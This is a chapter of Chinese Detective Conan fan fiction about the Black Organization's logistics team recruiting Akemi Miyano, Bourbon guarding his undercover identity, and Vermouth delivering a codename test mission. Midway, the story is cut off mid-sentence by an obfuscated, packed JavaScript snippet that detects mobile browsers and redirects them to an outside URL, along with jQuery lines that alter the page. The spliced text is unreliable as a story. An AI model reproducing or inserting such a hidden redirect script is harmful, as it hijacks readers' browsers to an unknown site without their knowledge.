笠松由利亚老工具人了,她以迅雷不及掩耳之势快速带领新同事熟悉环境,不过事发突然,办公室没有提前收拾好。
还有就是要把哪块工作划拉出去,也得和老大商量一下。
不过她个人觉得像宫野明美道德感比较重的人或许更适合一些明面上的正规公司,如果老大不要求人一定在眼皮子底下的话,自己倒是知道个好地方。
“明美,等会儿你先回去吧。”
“咦?Kirsch大人不是说今天就开始上班?”宫野明美疑惑。
“他开玩笑的,我们还要准备一下。”笠松由利亚眼神无奈,又意有所指,“而且我觉得你需要私下消化消化,肯定有很多人想找你。”
宫野明美垂下眼眸。
确实,因为妹妹的关系,自己哪怕是个无关紧要的底层成员,也要经常接受组织的问询。
尤其这次她出乎意料的行为,肯定会迎来一堆盘问。
不过没什么好隐藏的,毕竟他们交谈中确实一点有用的信息都没有!
“琴酒肯定要炸,只要是个学历达标的都被老大抢走了。”笠松由利亚偷笑,“不过你是自投罗网,他也怪不了谁,哈哈哈。”
“是不是完全没想到Kirsch喜欢玩钩织?”笠松由利亚有意无意提点。
后勤组果真是一堆人精,宫野明美掩嘴轻笑,心情不由得放松些,“确实,跌破眼镜。”除了针织帽上的拼图细节,其他都可以实话实说,而且她也注意到部分花纹线材的特殊,估计过不了多久就会褪色——水洗会加快褪色速度,只要自己稳得住,不露出破绽,那些人也没必要刨根问底。
“Kirsch人挺好的,有能力的情况下互帮互助,不过他性子淡,并不强求。”笠松由利亚耸耸肩,“在他手下干活,福利也多。”
“看来我运气不错,而且我觉得自己的智商还算达标。”宫野明美表态。
她只能想得很简单,在组织中深陷多年,自己和妹妹压根没有其他出路,现在有人愿意伸把手,哪怕是为了利用,她也愿意拼命抓住这个机会。
组织不留无用之人,不会有比之前更差的结果,自己也不能永远是志保的负担。
而且面对代号成员,她难道真能反抗不成,不仅要把自己打包送来,还要伪装成主动。
“对了,你稍等一下,佳夏去拿你父母的资料了,主要是一些档案信息和手稿。”笠松由利亚再次将她引到休闲区的沙发。
一旁诸星大还像门神一样坐着。
“办公室恋情不可取,现在你们是同事,不是情侣。”笠松由利亚双手环在胸前,一本正经调侃。
诸星大:……
“那我们上班时间就处于分手状态吧,大君。”宫野明美挨着他身边坐下,笑吟吟道。
“明美,你怎么也……”诸星大无奈,感觉头有点疼。
他仍然觉得宫野明美今日行事不合常理,甚至有点崩人设。
“抱歉,大君,我不该怀疑你的,我……只是有点害怕,所以想亲自确认一下。”语焉不详才最令人脑补。
确实,明美从小失去双亲,而且与相依为命的妹妹常年分离,在情感关系上表现脆弱也算……正常?
诸星大还是不信。
宫野明美知道身边人才是真正的硬仗,如果不能把事情圆过去,那自己就会是他在组织里更进一步的筹码。
诸星大通过自己加入组织的那刻起,他们就注定不可能是单纯的男女朋友关系。
从今天开始,她的防备心将全方位升起!
宫野明美垂下头,这是个十分弱势的姿势,十足的破碎感,喃喃自语还有些小抱怨,“如果不是你刻意提到上司,或许我还不会……”
哈?关键我是实话实说啊!诸星大表示很冤。
“诸星君,做个有担当的男人吧!”笠松由利亚恼火,“想想自己做了什么坏事才无法给女朋友安全感?!”
诸星大:偏偏我什么都没做。
“没做更可恶!”笠松由利亚看懂他的眼神,怒火冲冲,“哼,男人只会影响我拔剑的速度!”
诸星大满头问号,不是,你这么激动干啥?
“我……”
“由利亚,我拿过来了~”半藤佳夏抱着资料推门而入,待看见休闲区一堆人后又连忙闭嘴,目光游离。
“哇,谢谢佳夏!”笠松由利亚瞬间变脸,雨后天晴。
“不客气……”半藤佳夏快速把资料往宫野明美怀里一塞,也没等人把谢谢说完,直接转身小跑离开。
“诶——”宫野明美略有些不知所措地想站起身来,一不留神间身上的纸质文件滑落在地,于是只好俯身去捡。
其他两人也一起帮忙,诸星大更是趁机想了解更多情报,毕竟他一开始的目标就是宫野明美的天才妹妹宫野志保,然后他一眼看见宫野艾琳娜的照片,似乎和记忆中某张面孔重合,诸星大一时恍然,忽然很想吐槽霓虹的冠姓制度。
“你们怎么了?”安室透困惑于眼前乱成一团的场景,他在和Kirsch一番交锋之后又追着询问了许多关于工作的事情,于是直到现在才出来。
“好像是我……”半藤佳夏半抱着门框,心情低落内疚。
安室透:哈?你是说你隔着一大片空地搅起事端?
“没啥大事,就是东西掉了。”笠松由利亚站直身子,又开始对宫野明美进行人员介绍。
安室透见她神情无异,悄悄松了口气,将这个隐雷埋在心底,准备找时间上报让公安将自己的假身份经营得更细致一些。
自己的卧底之路真的好艰难!先是不知道什么时候被Kirsch识破身份,然后又遇到小时候的玩伴。
加入组织短暂的半年,不,加入后勤组一个月,他就遇到两次暴露危机,心累!
但没有永恒的敌人,只有永恒的利益,安室透会让他们心甘情愿保守秘密。
而且……现在暴露弱点倒也不是一件坏事,他还有时间周旋。
“看起来大家性格都挺不错的,以后共事一定会很愉快。”笠松由利亚无意间收尾,看着一旁呆呆愣愣不发一言的诸星大,“外面的好男人多得是,别在一棵树上吊死。”
诸星大:话题怎么又到我身上了?
……
宫野明美的到来就像是夏日的一场骤雨,来时声势浩大,离开时又异常迅速不给人反应时间。
“组织产业中有一家投资公司,我觉得挺适合她。”笠松由利亚提议。
“投资公司?她会金融吗?”月野织予确实没想把宫野明美安排进核心,对琴酒寸步不让不过是在开窗前先捅屋顶。
“她有钱,眼力够,懂沟通。”笠松由利亚竖起三根手指,“哪怕只会一些皮毛也能拥有一定的话语权。”
“她有钱?”月野织予挑眉。
“我们有钱。”笠松由利亚骄傲地昂起头。
“那就这样吧,你安排。”月野织予没有异议,如果宫野明美能力够,以后倒也能是一条退路。
在大量资金流动的地方,可操作性太强了,确保她可信后,暗地里就能多出一波瞒着组织的发展。
“放心,我会和她说清楚。”笠松由利亚正色。
办公室很快恢复到往常的安静,月野织予伸手拿过一旁的织片,娴熟开始钩织,他准备拼接一个祖母格方毯。
对宫野明美的安排是布局中比较重要的一点,他需要有合适的理由接触到雪莉,虽说直接联系也不会有人阻拦,但想从雪莉那儿有所求最好先解决她的后顾之忧。
好在宫野明美虽说研究能力不太行,但智商在线,和聪明人打交道就是舒心。
“嗡——”手机忽然震动,月野织予低头一看,满是疑惑。
贝尔摩得那家伙来干什么?
“又有客人?”透过茶水间敞开的门,安室透敏锐感知到一名平平无奇中年男人的到来,惊讶后勤组啥时候这么热闹了。
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554030|186850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中年男人也注意到他,眉毛上挑妩媚一笑,激起安室透浑身鸡皮疙瘩。
什么神经病,他心中暗骂,却又见那人从脖颈处撕下人皮面具,露出一张风华绝代的脸庞。
贝尔摩得!
安室透恨得牙痒痒,下意识直接把茶水间的门一关,可惜是道玻璃门,倒显得他像小丑一般。
果然那家伙乐不可支地笑开了。
“正好遇见,一起进去吧,反正也是找你。”贝尔摩得夸张地擦了擦眼角的泪。
“找我?”安室透下意识反问了声,没再多问其他的,只沉着脸跟在贝尔摩得后面。
“怎么,Kirsch这里难道不是好地方?我感觉比起Rum那儿好了不知一星半点啊。”贝尔摩得故意在开门的时候提起,煽风点火,果然看见月野织予微蹙的眉头。
“哼,当然是好地方!”安室透十足咬牙切齿,直接把我马甲扒掉了!
“哟,看来你们关系不错。”贝尔摩得察觉到他话语中的熟稔。
“什么事情。”月野织予都感觉她在逗猫,“随便坐。”
“来送任务。”贝尔摩得找了个舒适姿势,慵懒倚靠上沙发,不知从哪儿变出一个黑色信封来,对安室透道,“你的代号考核任务。”
“我?”安室透一惊,随后心中又是一喜,用眼神询问过月野织予后才取过信封。
“才半天。”月野织予闻言也走到走到沙发旁边来,他上午才将安室透找到老鼠的消息传给琴酒。
“正好我有个情报组的任务,难度也够。”
月野织予凑过去看信纸上的文字,挺常规的情报组任务,政要黑色交易资料盗取,但他注意到其中一个关键词,皱了皱眉,“九条?那位九条议员?这种古老姓氏的居住地可不好潜入。”
他没问为什么后勤组的代号考核是情报组发布任务,毕竟后勤组暂时发不出有难度的任务。
死亡微笑。
“所以减难度了嘛,我之前调查到了点东西。”贝尔摩得竖起一根手指,她笑吟吟看着安室透道,“九条议员的小女孩过两天要为一条狗举办三个月生日派对,她开通了网上报名通道,如果你能在截止时间之前找到一只品相脾气都好的小宠物,事情就简单大半了。”
安室透:三个月?生日?
理由很扯淡,但他明白其下藏着的政治目的,想跟动物保护协会卖好吗?
月野织予眼睫微颤,真是瞌睡来了送枕头。
安室透还在思索,另外两人就已经聊开。
“我给你推荐的人不错吧。”贝尔摩得升起一种作为HR的得意,“短时间就能进行代号考核。”
“不错,但人手还是不够,再来几个。”月野织予得寸进尺,拍拍安室透的头,然后被人一把呼开,“就按这个标准。”
贝尔摩得:“哈?抢一个朗姆就快气炸了。”
“行动组也有不错的。”
“你说那些莽夫?哦,忘了你曾经也是行动组的人。”贝尔摩得自觉失言,“行,我帮你留意留意。”
“多谢。”
安室透悄悄收回竖起的耳朵,Kirsch曾经是行动组的?
“发什么呆,有主意没?”贝尔摩得都走了,有些人还在思考,月野织予伸手在他眼前晃了晃,“我可以帮你一把。”
“不要。”安室透果断拒绝,“我才不要穿那条裙子!”
“是新的套装,完美适配你的任务。”月野织予有意无意引.诱他,“能省一点力气是一点,你也想完美完成任务吧?况且看一眼又不亏。”
“不穿裙子!”安室透已经有些松动,却还是警惕。
“嗯嗯,不是裙子。”月野织予信誓旦旦保证。
安室透将信将疑,到底有几分期待。
直到他被月野织予带到之前去过的那家裁缝店二楼,看见一套蓬松可爱的衣服。
不是裙子但也是女装啊!
这颗邪恶车厘子烦死人了!!